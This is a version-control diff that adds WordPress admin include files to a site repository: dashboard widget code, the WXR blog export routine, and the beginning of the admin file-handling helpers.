+		$actions['approve'] = "<a href='$approve_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+		$actions['unapprove'] = "<a href='$unapprove_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+		$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . __('Edit comment') . "'>". __('Edit') . '</a>';
+		//$actions['quickedit'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\',\'edit\');return false;" class="vim-q" title="'.__('Quick Edit').'" href="#">' . __('Quick&nbsp;Edit') . '</a>';
+		$actions['reply'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\');return false;" class="vim-r hide-if-no-js" title="'.__('Reply to this comment').'" href="#">' . __('Reply') . '</a>';
+		$actions['spam'] = "<a href='$spam_url' class='delete:the-comment-list:comment-$comment->comment_ID::spam=1 vim-s vim-destructive' title='" . __( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */  _x( 'Spam', 'verb' ) . '</a>';
+		$actions['delete'] = "<a href='$delete_url' class='delete:the-comment-list:comment-$comment->comment_ID delete vim-d vim-destructive'>" . __('Delete') . '</a>';
+
+		$actions = apply_filters( 'comment_row_actions', $actions, $comment );
+
+		$i = 0;
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';
+
+			// Reply and quickedit need a hide-if-no-js span
+			if ( 'reply' == $action || 'quickedit' == $action )
+				$action .= ' hide-if-no-js';
+
+			$actions_string .= "<span class='$action'>$sep$link</span>";
+		}
+	}
+
+?>
+
+		<div id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status($comment->comment_ID) ) ); ?>>
+			<?php if ( !$comment->comment_type || 'comment' == $comment->comment_type ) : ?>
+
+			<?php echo get_avatar( $comment, 50 ); ?>
+
+			<div class="dashboard-comment-wrap">
+			<h4 class="comment-meta"><?php printf( __( 'From %1$s on %2$s%3$s' ), '<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link." ".$comment_link, ' <span class="approve">' . __( '[Pending]' ) . '</span>' ); ?></h4>
+
+			<?php
+			else :
+				switch ( $comment->comment_type ) :
+				case 'pingback' :
+					$type = __( 'Pingback' );
+					break;
+				case 'trackback' :
+					$type = __( 'Trackback' );
+					break;
+				default :
+					$type = ucwords( $comment->comment_type );
+				endswitch;
+				$type = esc_html( $type );
+			?>
+			<div class="dashboard-comment-wrap">
+			<?php /* translators: %1$s is type of comment, %2$s is link to the post */ ?>
+			<h4 class="comment-meta"><?php printf( _x( '%1$s on %2$s', 'dashboard' ), "<strong>$type</strong>", $comment_post_link ); ?></h4>
+			<p class="comment-author"><?php comment_author_link(); ?></p>
+
+			<?php endif; // comment_type ?>
+			<blockquote><p><?php comment_excerpt(); ?></p></blockquote>
+			<p class="row-actions"><?php echo $actions_string; ?></p>
+
+			<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
+				<textarea class="comment" rows="3" cols="10"><?php echo $comment->comment_content; ?></textarea>
+				<div class="author-email"><?php echo esc_attr( $comment->comment_author_email ); ?></div>
+				<div class="author"><?php echo esc_attr( $comment->comment_author ); ?></div>
+				<div class="author-url"><?php echo esc_attr( $comment->comment_author_url ); ?></div>
+				<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
+			</div>
+			</div>
+		</div>
+<?php
+}
+
+function wp_dashboard_incoming_links() {
+	echo '<p class="widget-loading hide-if-no-js">' . __( 'Loading&#8230;' ) . '</p><p class="describe hide-if-js">' . __('This widget requires JavaScript.') . '</p>';
+}
+
+/**
+ * Display incoming links dashboard widget content.
+ *
+ * @since unknown
+ */
+function wp_dashboard_incoming_links_output() {
+	$widgets = get_option( 'dashboard_widget_options' );
+	@extract( @$widgets['dashboard_incoming_links'], EXTR_SKIP );
+	$rss = fetch_feed( $url );
+
+	if ( is_wp_error($rss) ) {
+		if ( is_admin() || current_user_can('manage_options') ) {
+			echo '<p>';
+			printf(__('<strong>RSS Error</strong>: %s'), $rss->get_error_message());
+			echo '</p>';
+		}
+		return;
+	}
+
+	if ( !$rss->get_item_quantity() ) {
+		echo '<p>' . __('This dashboard widget queries <a href="http://blogsearch.google.com/">Google Blog Search</a> so that when another blog links to your site it will show up here. It has found no incoming links&hellip; yet. It&#8217;s okay &#8212; there is no rush.') . "</p>\n";
+		return;
+	}
+
+	echo "<ul>\n";
+
+	if ( !isset($items) )
+		$items = 10;
+
+	foreach ( $rss->get_items(0, $items) as $item ) {
+		$publisher = '';
+		$site_link = '';
+		$link = '';
+		$content = '';
+		$date = '';
+		$link = esc_url( strip_tags( $item->get_link() ) );
+
+		$author = $item->get_author();
+		if ( $author ) {
+			$site_link = esc_url( strip_tags( $author->get_link() ) );
+
+			if ( !$publisher = esc_html( strip_tags( $author->get_name() ) ) )
+				$publisher = __( 'Somebody' );
+		} else {
+		  $publisher = __( 'Somebody' );
+		}
+		if ( $site_link )
+			$publisher = "<a href='$site_link'>$publisher</a>";
+		else
+			$publisher = "<strong>$publisher</strong>";
+
+		$content = $item->get_content();
+		$content = wp_html_excerpt($content, 50) . ' ...';
+
+		if ( $link )
+			/* translators: incoming links feed, %1$s is other person, %3$s is content */
+			$text = __( '%1$s linked here <a href="%2$s">saying</a>, "%3$s"' );
+		else
+			/* translators: incoming links feed, %1$s is other person, %3$s is content */
+			$text = __( '%1$s linked here saying, "%3$s"' );
+
+		if ( $show_date ) {
+			if ( $show_author || $show_summary )
+				/* translators: incoming links feed, %4$s is the date */
+				$text .= ' ' . __( 'on %4$s' );
+			$date = esc_html( strip_tags( $item->get_date() ) );
+			$date = strtotime( $date );
+			$date = gmdate( get_option( 'date_format' ), $date );
+		}
+
+		echo "\t<li>" . sprintf( $text, $publisher, $link, $content, $date ) . "</li>\n";
+	}
+
+	echo "</ul>\n";
+
+}
+
+function wp_dashboard_incoming_links_control() {
+	wp_dashboard_rss_control( 'dashboard_incoming_links', array( 'title' => false, 'show_summary' => false, 'show_author' => false ) );
+}
+
+function wp_dashboard_primary() {
+	echo '<p class="widget-loading hide-if-no-js">' . __( 'Loading&#8230;' ) . '</p><p class="describe hide-if-js">' . __('This widget requires JavaScript.') . '</p>';
+}
+
+function wp_dashboard_primary_control() {
+	wp_dashboard_rss_control( 'dashboard_primary' );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param int $widget_id
+ */
+function wp_dashboard_rss_output( $widget_id ) {
+	$widgets = get_option( 'dashboard_widget_options' );
+	echo "<div class='rss-widget'>";
+	wp_widget_rss_output( $widgets[$widget_id] );
+	echo "</div>";
+}
+
+function wp_dashboard_secondary() {
+	echo '<p class="widget-loading hide-if-no-js">' . __( 'Loading&#8230;' ) . '</p><p class="describe hide-if-js">' . __('This widget requires JavaScript.') . '</p>';
+}
+
+function wp_dashboard_secondary_control() {
+	wp_dashboard_rss_control( 'dashboard_secondary' );
+}
+
+/**
+ * Display secondary dashboard RSS widget feed.
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function wp_dashboard_secondary_output() {
+	$widgets = get_option( 'dashboard_widget_options' );
+	@extract( @$widgets['dashboard_secondary'], EXTR_SKIP );
+	$rss = @fetch_feed( $url );
+
+	if ( is_wp_error($rss) ) {
+		if ( is_admin() || current_user_can('manage_options') ) {
+			echo '<div class="rss-widget"><p>';
+			printf(__('<strong>RSS Error</strong>: %s'), $rss->get_error_message());
+			echo '</p></div>';
+		}
+	} elseif ( !$rss->get_item_quantity() ) {
+		return false;
+	} else {
+		echo '<div class="rss-widget">';
+		wp_widget_rss_output( $rss, $widgets['dashboard_secondary'] );
+		echo '</div>';
+	}
+}
+
+function wp_dashboard_plugins() {
+	echo '<p class="widget-loading hide-if-no-js">' . __( 'Loading&#8230;' ) . '</p><p class="describe hide-if-js">' . __('This widget requires JavaScript.') . '</p>';
+}
+
+/**
+ * Display plugins most popular, newest plugins, and recently updated widget text.
+ *
+ * @since unknown
+ */
+function wp_dashboard_plugins_output() {
+	$popular = fetch_feed( 'http://wordpress.org/extend/plugins/rss/browse/popular/' );
+	$new     = fetch_feed( 'http://wordpress.org/extend/plugins/rss/browse/new/' );
+	$updated = fetch_feed( 'http://wordpress.org/extend/plugins/rss/browse/updated/' );
+
+	if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) {
+		$plugin_slugs = array_keys( get_plugins() );
+		set_transient( 'plugin_slugs', $plugin_slugs, 86400 );
+	}
+
+	foreach ( array( 'popular' => __('Most Popular'), 'new' => __('Newest Plugins'), 'updated' => __('Recently Updated') ) as $feed => $label ) {
+		if ( is_wp_error($$feed) || !$$feed->get_item_quantity() )
+			continue;
+
+		$items = $$feed->get_items(0, 5);
+
+		// Pick a random, non-installed plugin
+		while ( true ) {
+			// Abort this foreach loop iteration if there's no plugins left of this type
+			if ( 0 == count($items) )
+				continue 2;
+
+			$item_key = array_rand($items);
+			$item = $items[$item_key];
+
+			list($link, $frag) = explode( '#', $item->get_link() );
+
+			$link = esc_url($link);
+			if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) )
+				$slug = $matches[1];
+			else {
+				unset( $items[$item_key] );
+				continue;
+			}
+
+			// Is this random plugin's slug already installed? If so, try again.
+			reset( $plugin_slugs );
+			foreach ( $plugin_slugs as $plugin_slug ) {
+				if ( $slug == substr( $plugin_slug, 0, strlen( $slug ) ) ) {
+					unset( $items[$item_key] );
+					continue 2;
+				}
+			}
+
+			// If we get to this point, then the random plugin isn't installed and we can stop the while().
+			break;
+		}
+
+		// Eliminate some common badly formed plugin descriptions
+		while ( ( null !== $item_key = array_rand($items) ) && false !== strpos( $items[$item_key]->get_description(), 'Plugin Name:' ) )
+			unset($items[$item_key]);
+
+		if ( !isset($items[$item_key]) )
+			continue;
+
+		// current bbPress feed item titles are: user on "topic title"
+		if ( preg_match( '/&quot;(.*)&quot;/s', $item->get_title(), $matches ) )
+			$title = $matches[1];
+		else // but let's make it forward compatible if things change
+			$title = $item->get_title();
+		$title = esc_html( $title );
+
+		$description = esc_html( strip_tags(@html_entity_decode($item->get_description(), ENT_QUOTES, get_option('blog_charset'))) );
+
+		$ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) .
+							'&amp;TB_iframe=true&amp;width=600&amp;height=800';
+
+		echo "<h4>$label</h4>\n";
+		echo "<h5><a href='$link'>$title</a></h5>&nbsp;<span>(<a href='$ilink' class='thickbox' title='$title'>" . __( 'Install' ) . "</a>)</span>\n";
+		echo "<p>$description</p>\n";
+	}
+}
+
+/**
+ * Checks to see if all of the feed url in $check_urls are cached.
+ *
+ * If $check_urls is empty, look for the rss feed url found in the dashboard
+ * widget optios of $widget_id. If cached, call $callback, a function that
+ * echoes out output for this widget. If not cache, echo a "Loading..." stub
+ * which is later replaced by AJAX call (see top of /wp-admin/index.php)
+ *
+ * @since unknown
+ *
+ * @param int $widget_id
+ * @param callback $callback
+ * @param array $check_urls RSS feeds
+ * @return bool False on failure. True on success.
+ */
+function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array() ) {
+	$loading = '<p class="widget-loading">' . __( 'Loading&#8230;' ) . '</p>';
+
+	if ( empty($check_urls) ) {
+		$widgets = get_option( 'dashboard_widget_options' );
+		if ( empty($widgets[$widget_id]['url']) ) {
+			echo $loading;
+			return false;
+		}
+		$check_urls = array( $widgets[$widget_id]['url'] );
+	}
+
+	include_once ABSPATH . WPINC . '/class-feed.php';
+	foreach ( $check_urls as $check_url ) {
+		$cache = new WP_Feed_Cache_Transient('', md5($check_url), '');
+		if ( ! $cache->load() ) {
+			echo $loading;
+			return false;
+		}
+	}
+
+	if ( $callback && is_callable( $callback ) ) {
+		$args = array_slice( func_get_args(), 2 );
+		array_unshift( $args, $widget_id );
+		call_user_func_array( $callback, $args );
+	}
+
+	return true;
+}
+
+/* Dashboard Widgets Controls */
+
+// Calls widget_control callback
+/**
+ * Calls widget control callback.
+ *
+ * @since unknown
+ *
+ * @param int $widget_control_id Registered Widget ID.
+ */
+function wp_dashboard_trigger_widget_control( $widget_control_id = false ) {
+	global $wp_dashboard_control_callbacks;
+
+	if ( is_scalar($widget_control_id) && $widget_control_id && isset($wp_dashboard_control_callbacks[$widget_control_id]) && is_callable($wp_dashboard_control_callbacks[$widget_control_id]) ) {
+		call_user_func( $wp_dashboard_control_callbacks[$widget_control_id], '', array( 'id' => $widget_control_id, 'callback' => $wp_dashboard_control_callbacks[$widget_control_id] ) );
+	}
+}
+
+/**
+ * The RSS dashboard widget control.
+ *
+ * Sets up $args to be used as input to wp_widget_rss_form(). Handles POST data
+ * from RSS-type widgets.
+ *
+ * @since unknown
+ *
+ * @param string widget_id
+ * @param array form_inputs
+ */
+function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) {
+	if ( !$widget_options = get_option( 'dashboard_widget_options' ) )
+		$widget_options = array();
+
+	if ( !isset($widget_options[$widget_id]) )
+		$widget_options[$widget_id] = array();
+
+	$number = 1; // Hack to use wp_widget_rss_form()
+	$widget_options[$widget_id]['number'] = $number;
+
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget-rss'][$number]) ) {
+		$_POST['widget-rss'][$number] = stripslashes_deep( $_POST['widget-rss'][$number] );
+		$widget_options[$widget_id] = wp_widget_rss_process( $_POST['widget-rss'][$number] );
+		// title is optional.  If black, fill it if possible
+		if ( !$widget_options[$widget_id]['title'] && isset($_POST['widget-rss'][$number]['title']) ) {
+			$rss = fetch_feed($widget_options[$widget_id]['url']);
+			if ( ! is_wp_error($rss) )
+				$widget_options[$widget_id]['title'] = htmlentities(strip_tags($rss->get_title()));
+			else
+				$widget_options[$widget_id]['title'] = htmlentities(__('Unknown Feed'));
+		}
+		update_option( 'dashboard_widget_options', $widget_options );
+	}
+
+	wp_widget_rss_form( $widget_options[$widget_id], $form_inputs );
+}
+
+/**
+ * Empty function usable by plugins to output empty dashboard widget (to be populated later by JS).
+ */
+function wp_dashboard_empty() {}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/export.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/export.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/export.php	(revision 44)
@@ -0,0 +1,334 @@
+<?php
+/**
+ * WordPress Export Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Version number for the export format.
+ *
+ * Bump this when something changes that might affect compatibility.
+ *
+ * @since unknown
+ * @var string
+ */
+define('WXR_VERSION', '1.0');
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $author
+ */
+function export_wp($author='') {
+global $wpdb, $post_ids, $post;
+
+do_action('export_wp');
+
+$filename = 'wordpress.' . date('Y-m-d') . '.xml';
+
+header('Content-Description: File Transfer');
+header("Content-Disposition: attachment; filename=$filename");
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+
+$where = '';
+if ( $author and $author != 'all' ) {
+	$author_id = (int) $author;
+	$where = $wpdb->prepare(" WHERE post_author = %d ", $author_id);
+}
+
+// grab a snapshot of post IDs, just in case it changes during the export
+$post_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts $where ORDER BY post_date_gmt ASC");
+
+$categories = (array) get_categories('get=all');
+$tags = (array) get_tags('get=all');
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $categories
+ */
+function wxr_missing_parents($categories) {
+	if ( !is_array($categories) || empty($categories) )
+		return array();
+
+	foreach ( $categories as $category )
+		$parents[$category->term_id] = $category->parent;
+
+	$parents = array_unique(array_diff($parents, array_keys($parents)));
+
+	if ( $zero = array_search('0', $parents) )
+		unset($parents[$zero]);
+
+	return $parents;
+}
+
+while ( $parents = wxr_missing_parents($categories) ) {
+	$found_parents = get_categories("include=" . join(', ', $parents));
+	if ( is_array($found_parents) && count($found_parents) )
+		$categories = array_merge($categories, $found_parents);
+	else
+		break;
+}
+
+// Put them in order to be inserted with no child going before its parent
+$pass = 0;
+$passes = 1000 + count($categories);
+while ( ( $cat = array_shift($categories) ) && ++$pass < $passes ) {
+	if ( $cat->parent == 0 || isset($cats[$cat->parent]) ) {
+		$cats[$cat->term_id] = $cat;
+	} else {
+		$categories[] = $cat;
+	}
+}
+unset($categories);
+
+/**
+ * Place string in CDATA tag.
+ *
+ * @since unknown
+ *
+ * @param string $str String to place in XML CDATA tag.
+ */
+function wxr_cdata($str) {
+	if ( seems_utf8($str) == false )
+		$str = utf8_encode($str);
+
+	// $str = ent2ncr(esc_html($str));
+
+	$str = "<![CDATA[$str" . ( ( substr($str, -1) == ']' ) ? ' ' : '') . "]]>";
+
+	return $str;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return string Site URL.
+ */
+function wxr_site_url() {
+	global $current_site;
+
+	// mu: the base url
+	if ( isset($current_site->domain) ) {
+		return 'http://'.$current_site->domain.$current_site->path;
+	}
+	// wp: the blog url
+	else {
+		return get_bloginfo_rss('url');
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param object $c Category Object
+ */
+function wxr_cat_name($c) {
+	if ( empty($c->name) )
+		return;
+
+	echo '<wp:cat_name>' . wxr_cdata($c->name) . '</wp:cat_name>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param object $c Category Object
+ */
+function wxr_category_description($c) {
+	if ( empty($c->description) )
+		return;
+
+	echo '<wp:category_description>' . wxr_cdata($c->description) . '</wp:category_description>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param object $t Tag Object
+ */
+function wxr_tag_name($t) {
+	if ( empty($t->name) )
+		return;
+
+	echo '<wp:tag_name>' . wxr_cdata($t->name) . '</wp:tag_name>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param object $t Tag Object
+ */
+function wxr_tag_description($t) {
+	if ( empty($t->description) )
+		return;
+
+	echo '<wp:tag_description>' . wxr_cdata($t->description) . '</wp:tag_description>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function wxr_post_taxonomy() {
+	$categories = get_the_category();
+	$tags = get_the_tags();
+	$the_list = '';
+	$filter = 'rss';
+
+	if ( !empty($categories) ) foreach ( (array) $categories as $category ) {
+		$cat_name = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter);
+		// for backwards compatibility
+		$the_list .= "\n\t\t<category><![CDATA[$cat_name]]></category>\n";
+		// forwards compatibility: use a unique identifier for each cat to avoid clashes
+		// http://trac.wordpress.org/ticket/5447
+		$the_list .= "\n\t\t<category domain=\"category\" nicename=\"{$category->slug}\"><![CDATA[$cat_name]]></category>\n";
+	}
+
+	if ( !empty($tags) ) foreach ( (array) $tags as $tag ) {
+		$tag_name = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter);
+		$the_list .= "\n\t\t<category domain=\"tag\"><![CDATA[$tag_name]]></category>\n";
+		// forwards compatibility as above
+		$the_list .= "\n\t\t<category domain=\"tag\" nicename=\"{$tag->slug}\"><![CDATA[$tag_name]]></category>\n";
+	}
+
+	echo $the_list;
+}
+
+echo '<?xml version="1.0" encoding="' . get_bloginfo('charset') . '"?' . ">\n";
+
+?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<?php the_generator('export');?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/"
+>
+
+<channel>
+	<title><?php bloginfo_rss('name'); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?></pubDate>
+	<generator>http://wordpress.org/?v=<?php bloginfo_rss('version'); ?></generator>
+	<language><?php echo get_option('rss_language'); ?></language>
+	<wp:wxr_version><?php echo WXR_VERSION; ?></wp:wxr_version>
+	<wp:base_site_url><?php echo wxr_site_url(); ?></wp:base_site_url>
+	<wp:base_blog_url><?php bloginfo_rss('url'); ?></wp:base_blog_url>
+<?php if ( $cats ) : foreach ( $cats as $c ) : ?>
+	<wp:category><wp:category_nicename><?php echo $c->slug; ?></wp:category_nicename><wp:category_parent><?php echo $c->parent ? $cats[$c->parent]->name : ''; ?></wp:category_parent><?php wxr_cat_name($c); ?><?php wxr_category_description($c); ?></wp:category>
+<?php endforeach; endif; ?>
+<?php if ( $tags ) : foreach ( $tags as $t ) : ?>
+	<wp:tag><wp:tag_slug><?php echo $t->slug; ?></wp:tag_slug><?php wxr_tag_name($t); ?><?php wxr_tag_description($t); ?></wp:tag>
+<?php endforeach; endif; ?>
+	<?php do_action('rss2_head'); ?>
+	<?php if ($post_ids) {
+		global $wp_query;
+		$wp_query->in_the_loop = true;  // Fake being in the loop.
+		// fetch 20 posts at a time rather than loading the entire table into memory
+		while ( $next_posts = array_splice($post_ids, 0, 20) ) {
+			$where = "WHERE ID IN (".join(',', $next_posts).")";
+			$posts = $wpdb->get_results("SELECT * FROM $wpdb->posts $where ORDER BY post_date_gmt ASC");
+				foreach ($posts as $post) {
+			// Don't export revisions.  They bloat the export.
+			if ( 'revision' == $post->post_type )
+				continue;
+			setup_postdata($post); ?>
+<item>
+<title><?php echo apply_filters('the_title_rss', $post->post_title); ?></title>
+<link><?php the_permalink_rss() ?></link>
+<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?></pubDate>
+<dc:creator><?php echo wxr_cdata(get_the_author()); ?></dc:creator>
+<?php wxr_post_taxonomy() ?>
+
+<guid isPermaLink="false"><?php the_guid(); ?></guid>
+<description></description>
+<content:encoded><?php echo wxr_cdata( apply_filters('the_content_export', $post->post_content) ); ?></content:encoded>
+<excerpt:encoded><?php echo wxr_cdata( apply_filters('the_excerpt_export', $post->post_excerpt) ); ?></excerpt:encoded>
+<wp:post_id><?php echo $post->ID; ?></wp:post_id>
+<wp:post_date><?php echo $post->post_date; ?></wp:post_date>
+<wp:post_date_gmt><?php echo $post->post_date_gmt; ?></wp:post_date_gmt>
+<wp:comment_status><?php echo $post->comment_status; ?></wp:comment_status>
+<wp:ping_status><?php echo $post->ping_status; ?></wp:ping_status>
+<wp:post_name><?php echo $post->post_name; ?></wp:post_name>
+<wp:status><?php echo $post->post_status; ?></wp:status>
+<wp:post_parent><?php echo $post->post_parent; ?></wp:post_parent>
+<wp:menu_order><?php echo $post->menu_order; ?></wp:menu_order>
+<wp:post_type><?php echo $post->post_type; ?></wp:post_type>
+<wp:post_password><?php echo $post->post_password; ?></wp:post_password>
+<?php
+if ($post->post_type == 'attachment') { ?>
+<wp:attachment_url><?php echo wp_get_attachment_url($post->ID); ?></wp:attachment_url>
+<?php } ?>
+<?php
+$postmeta = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID) );
+if ( $postmeta ) {
+?>
+<?php foreach( $postmeta as $meta ) { ?>
+<wp:postmeta>
+<wp:meta_key><?php echo $meta->meta_key; ?></wp:meta_key>
+<wp:meta_value><?Php echo $meta->meta_value; ?></wp:meta_value>
+</wp:postmeta>
+<?php } ?>
+<?php } ?>
+<?php
+$comments = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d", $post->ID) );
+if ( $comments ) { foreach ( $comments as $c ) { ?>
+<wp:comment>
+<wp:comment_id><?php echo $c->comment_ID; ?></wp:comment_id>
+<wp:comment_author><?php echo wxr_cdata($c->comment_author); ?></wp:comment_author>
+<wp:comment_author_email><?php echo $c->comment_author_email; ?></wp:comment_author_email>
+<wp:comment_author_url><?php echo $c->comment_author_url; ?></wp:comment_author_url>
+<wp:comment_author_IP><?php echo $c->comment_author_IP; ?></wp:comment_author_IP>
+<wp:comment_date><?php echo $c->comment_date; ?></wp:comment_date>
+<wp:comment_date_gmt><?php echo $c->comment_date_gmt; ?></wp:comment_date_gmt>
+<wp:comment_content><?php echo wxr_cdata($c->comment_content) ?></wp:comment_content>
+<wp:comment_approved><?php echo $c->comment_approved; ?></wp:comment_approved>
+<wp:comment_type><?php echo $c->comment_type; ?></wp:comment_type>
+<wp:comment_parent><?php echo $c->comment_parent; ?></wp:comment_parent>
+<wp:comment_user_id><?php echo $c->user_id; ?></wp:comment_user_id>
+</wp:comment>
+<?php } } ?>
+	</item>
+<?php } } } ?>
+</channel>
+</rss>
+<?php
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/file.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/file.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/file.php	(revision 44)
@@ -0,0 +1,807 @@
+<?php
+/**
+ * File contains all the administration image manipulation functions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** The descriptions for theme files. */
+$wp_file_descriptions = array (
+	'index.php' => __( 'Main Index Template' ),
+	'style.css' => __( 'Stylesheet' ),
+	'rtl.css' => __( 'RTL Stylesheet' ),
+	'comments.php' => __( 'Comments' ),
+	'comments-popup.php' => __( 'Popup Comments' ),
+	'footer.php' => __( 'Footer' ),
+	'header.php' => __( 'Header' ),
+	'sidebar.php' => __( 'Sidebar' ),
+	'archive.php' => __( 'Archives' ),
+	'category.php' => __( 'Category Template' ),
+	'page.php' => __( 'Page Template' ),
+	'search.php' => __( 'Search Results' ),
+	'searchform.php' => __( 'Search Form' ),
+	'single.php' => __( 'Single Post' ),
+	'404.php' => __( '404 Template' ),
+	'link.php' => __( 'Links Template' ),
+	'functions.php' => __( 'Theme Functions' ),
+	'attachment.php' => __( 'Attachment Template' ),
+	'image.php' => __('Image Attachment Template'),
+	'video.php' => __('Video Attachment Template'),
+	'audio.php' => __('Audio Attachment Template'),
+	'application.php' => __('Application Attachment Template'),
+	'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ),
+	'.htaccess' => __( '.htaccess (for rewrite rules )' ),
+	// Deprecated files
+	'wp-layout.css' => __( 'Stylesheet' ), 'wp-comments.php' => __( 'Comments Template' ), 'wp-comments-popup.php' => __( 'Popup Comments Template' ));
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ * @return unknown
+ */
+function get_file_description( $file ) {
+	global $wp_file_descriptions;
+
+	if ( isset( $wp_file_descriptions[basename( $file )] ) ) {
+		return $wp_file_descriptions[basename( $file )];
+	}
+	elseif ( file_exists( WP_CONTENT_DIR . $file ) && is_file( WP_CONTENT_DIR . $file ) ) {
+		$template_data = implode( '', file( WP_CONTENT_DIR . $file ) );
+		if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ))
+			return _cleanup_header_comment($name[1]) . ' Page Template';
+	}
+
+	return basename( $file );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_home_path() {
+	$home = get_option( 'home' );
+	$siteurl = get_option( 'siteurl' );
+	if ( $home != '' && $home != $siteurl ) {
+	        $wp_path_rel_to_home = str_replace($home, '', $siteurl); /* $siteurl - $home */
+	        $pos = strpos($_SERVER["SCRIPT_FILENAME"], $wp_path_rel_to_home);
+	        $home_path = substr($_SERVER["SCRIPT_FILENAME"], 0, $pos);
+		$home_path = trailingslashit( $home_path );
+	} else {
+		$home_path = ABSPATH;
+	}
+
+	return $home_path;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ * @return unknown
+ */
+function get_real_file_to_edit( $file ) {
+	if ('index.php' == $file || '.htaccess' == $file ) {
+		$real_file = get_home_path() . $file;
+	} else {
+		$real_file = WP_CONTENT_DIR . $file;
+	}
+
+	return $real_file;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param string $folder Optional. Full path to folder
+ * @param int $levels Optional. Levels of folders to follow, Default: 100 (PHP Loop limit).
+ * @return bool|array
+ */
+function list_files( $folder = '', $levels = 100 ) {
+	if( empty($folder) )
+		return false;
+
+	if( ! $levels )
+		return false;
+
+	$files = array();
+	if ( $dir = @opendir( $folder ) ) {
